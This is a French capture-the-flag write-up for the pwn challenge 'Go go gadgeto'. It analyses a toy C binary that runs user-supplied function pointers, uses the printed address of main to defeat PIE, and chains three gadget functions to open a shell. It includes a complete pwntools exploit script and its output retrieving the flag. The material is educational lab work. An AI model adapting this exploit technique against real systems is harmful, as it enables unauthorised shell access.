Shrug

CTF Writeups Vault

Go go gadgeto

Parcourez les résolutions de challenges comme dans un système de fichiers. Cliquez sur les dossiers pour explorer les événements et ouvrez un writeup pour profiter d'un rendu Markdown enrichi (LaTeX, blocs terminal, images HD).

NoBrackets2025PWNMedium

Go go gadgeto

J'ai perdu l'énoncé :)

bowie41
#binaryexploit#pwn#rop

Pour ce challenge, on nous donne le fichier executable ainsi que le code source en C.

Analyse

Avant toute chose, il est toujours une bonne idée de run les commandes suivantes pour avoir une premiere idée de avec quoi on travaille :

terminal
bash
$- file enquete enquete: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=463d18143fb0d0185d9394c656e6fbef0abf51b2, for GNU/Linux 4.4.0, not stripped $- checksec --file=enquete RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO No canary found NX enabled PIE enabled No RPATH No RUNPATH 38 Symbols No 0 1enquete

On a donc un executable ELF64 pour linux x86-64, non stripped. Avoir ces informations pourrait nous aider plus tard dans la résolution du chall. On voit également que :

  • Le fichier à été compilé avec partial RELRO
  • Canary est inactif (pas de protection contre buffer overflow)
  • Le NX bit est actif (protection contre injection de shellcode sur la stack)
  • PIE est actif (les adresses sont randomisées à chaque execution)

On regarde ensuite la fonction main du code source :

int main(int argc, char *argv[]) { int i; int size = 7; int *target = malloc(sizeof(int)); gadget *chain = malloc(size * sizeof(gadget)); if (!chain || !target) { fprintf(stderr, "Malloc Error"); exit(1); } *target = 0xfffffffa; printf("Intéressant, le malfrat semble être rentré par %p ...\n", &main); if (!populate_chain(size, chain)) { printf("Tu ne sais plus utiliser tes gadgets ?\n"); exit(0); } for (i = 0; i < size; i++) { (*chain[i])(target); } return 0; }

On comprends que le programme :

  • Imprime "Intéressant, le malfrat semble être rentré par" suivi de &main, correspondant à l'adresse en mémoire de la fonction main
  • Apelle la fonction populate_chain avec en parametres size (soit 7) et chain

Regardons maintenant la fonction populate_chain :

int populate_chain(int size, gadget *chain) { int i, j; long addr; char buffer; for (i = 0; i < size; i++) { printf("Utilise ton prochain gadget inspecteur (format deadbeef1337babe) : "); fflush(stdout); addr = 0; for (j = 0; j < 16; j++) { buffer = getchar(); if (buffer > 47 && buffer < 58) { buffer -= 48; } else if (buffer > 96 && buffer < 103) { buffer -= 87; } else { return 0; } addr += pow(16, 15-j) * buffer; } if (getchar() != '\n') { return 0; } chain[i] = (gadget) addr; } return 1; }

J'explique plus en détail son fonctionnement dans cette page mais ce qu'il faut retenir c'est qu'elle prend depuis l'entrée standard, 7 chaines de caracteres héxadécimales valides et les transforme en entiers, qu'elle cast ensuite au type gadget :

typedef void (*gadget)(int*);

Chaque entrée devient donc un pointeur vers une fonction prennant strictement 1 int* en parametre et ne retournant rien (void).

Apres cela

La fonction main prend tout les pointeurs entrés et execute chaqune des fonctions avec en parametre target.

Mainteant qu'on comprend comment marche le programme

On cherche un objectif. Ici il s'agit d'ouvrir un shell admin grace a la fonction gadgeto_shell :

void gadgeto_shell(int *val) { if (*val == 0) { system("/bin/bash"); } else { printf("%d\n", *val); } return; }

Cette fonction prends un int* en parametre et si cet entier a pour valeur 0, nous ouvre un shell admin.

Notre objectif est donc de call gadgeto_shell avec 0 en parametre. Pour cela, on a vu qu'on pouvait faire en sorte que le programme appelle la fonction en entrant son adresse en entrée.
Cependant, de cette manière, le parametre sera forcément target, or au début du programme target = 0xfffffffa :

int *target = malloc(sizeof(int)); *target = 0xfffffffa;

En sachant qu'on peut toujours appeler 7 fonctions au choix (comme on peut entrer 7 pointeurs en input), il faut donc trouver un moyen de modifier la valeur de target à 0 avant d'appeler gadgeto_shell.

Heureusement pour nous, le programme nous met a disposition deux fonctions qui nous permettraient de changer la valeur de target :

void gadgeto_soustraction(int *val) { (*val)--; return; } void gadgeto_xor(int *val) { *val = *val ^ 0xffffffff; return; }
  • gadgeto_soustraction prends un int* en parametre et le décrémente de 1 (lui enlève 1)
  • gadgeto_xor prends un int* en parametre et le xor avec 0xffffffff

En cherchant, on se rends compte que 0xfffffffa ^ 0xffffffff = 5

Bac à sable Python 3.10.0

Il suffirait donc d'appeler :

  • gadgeto_xor -> apres target = 5
  • gadgeto_soustraction 5 fois -> apres target = 0
  • gadgeto_shell -> target = 0 donc ouvre un shell admin

Pour résumer

Le programme prends les adresses de 7 fonctions en entrée, puis il les appelle une par une. Notre payload devrait donc ressembler à :

payload = gadgeto_xor + '\n' payload += (gadgeto_soustraction + '\n') * 5 payload += gadgeto_shell + '\n'

Il ne nous reste donc plus qu'a trouver les adresses des fonctions.

Pour se faire, on ouvre GDB et on entre la commande info functions :

terminal
bash
$- gdb ./enquete > (gdb) info functions All defined functions: Non-debugging symbols: 0x0000000000001000 _init 0x0000000000001030 puts@plt 0x0000000000001040 pow@plt 0x0000000000001050 system@plt 0x0000000000001060 printf@plt 0x0000000000001070 getchar@plt 0x0000000000001080 malloc@plt 0x0000000000001090 fflush@plt 0x00000000000010a0 exit@plt 0x00000000000010b0 fwrite@plt 0x00000000000010c0 _start 0x00000000000011b9 gadgeto_soustraction 0x00000000000011d3 gadgeto_xor 0x00000000000011ee gadgeto_shell 0x0000000000001234 populate_chain 0x0000000000001365 main 0x0000000000001468 _fini

On a donc les adresses :

  • gadgeto_soustraction -> 0x00000000000011b9
  • gadgeto_xor -> 0x00000000000011d3
  • gadgeto_shell -> 0x00000000000011ee

Cependant

Comme on l'a vu au début grace a la commande checksec, PIE (Position Independant Executable) est actif, les adresses changent donc à chaque éxécution.

Heureusement pour nous, PIE modifie uniquement le point d'entrée du programme, l'écart entre les fonctions reste le même.

Ce que cela veut dire dans notre cas c'est que si on arrive a récuperer l'adresse d'une fonction pendant l'éxécution, on pourra trouver l'adresse de toutes les autres.

D'habitude, il faut souvent exploiter une autre faille pour faire fuiter une adresse mais dans notre cas, le programme nous la donne directement :

printf("Intéressant, le malfrat semble être rentré par %p ...\n", &main);

Il ne nous reste donc plus qu'a calculer le décalage entre les fonctions :

Bac à sable Python 3.10.0

Cela veut dire qu'une fois qu'on a l'adresse de main, on peut facilement retrouver les autres.

On créé donc notre exploit :

import re from pwn import * p = remote('HOST', PORT) raw = p.recv(4096, timeout=2) # On reçoit jusqu'a 4096 de ce qu'envoie le programme main_raw = re.findall(r"0x(.*) ",raw.decode())[0] # On isole l'adresse de main grace a regex main_adresse = int(main_raw,16) # On transforme l'adresse en entier soustraction_adresse = main_adresse - 428 # On calcule les adresses des fonctions xor_adresse = main_adresse - 402 # grace aux offsets trouvés plus tôt shell_adresse = main_adresse - 375 soustraction_adresse = hex(soustraction_adresse)[2:].rjust(16, "0") xor_adresse = hex(xor_adresse)[2:].rjust(16, "0") # On met les adresses au format demandé soit shell_adresse = hex(shell_adresse)[2:].rjust(16, "0") # en hexadécimal (sans le 0x) et 16 de long # Pour cela on rajoute des '0' devant payload = xor_adresse + '\n' payload += (soustraction_adresse + '\n') * 5 payload += shell_adresse + '\n' p.send(payload.encode()) p.interactive()
terminal
bash
$- python3 exploit.py [x] Opening connection to HOST on port PORT [x] Opening connection to HOST on port PORT: Trying ::1 [+] Opening connection to HOST on port PORT: Done [*] Switching to interactive mode 000064f0623771d3 000064f0623771b9 000064f0623771b9 000064f0623771b9 000064f0623771b9 000064f0623771b9 000064f0623771ee Utilise ton prochain gadget inspecteur (format deadbeef1337babe) : Utilise ton prochain gadget inspecteur (format deadbeef1337babe) : Utilise ton prochain gadget inspecteur (format deadbeef1337babe) : Utilise ton prochain gadget inspecteur (format deadbeef1337babe) : Utilise ton prochain gadget inspecteur (format deadbeef1337babe) : Utilise ton prochain gadget inspecteur (format deadbeef1337babe) : $- ls enquete enquete.c flag.txt $- cat flag.txt NBCTF{jai_pu_le_flag_donc_je_met_ca_^^'}

Overall une introduction au ROP plutôt fun mais un petit peu facile comparée aux cas habituels ;)

Les challenges originaux restent la propriété intellectuelle de leurs auteurs. Sauf mention contraire, les contenus produits par ShrugTeam sont diffusés sous licence MIT.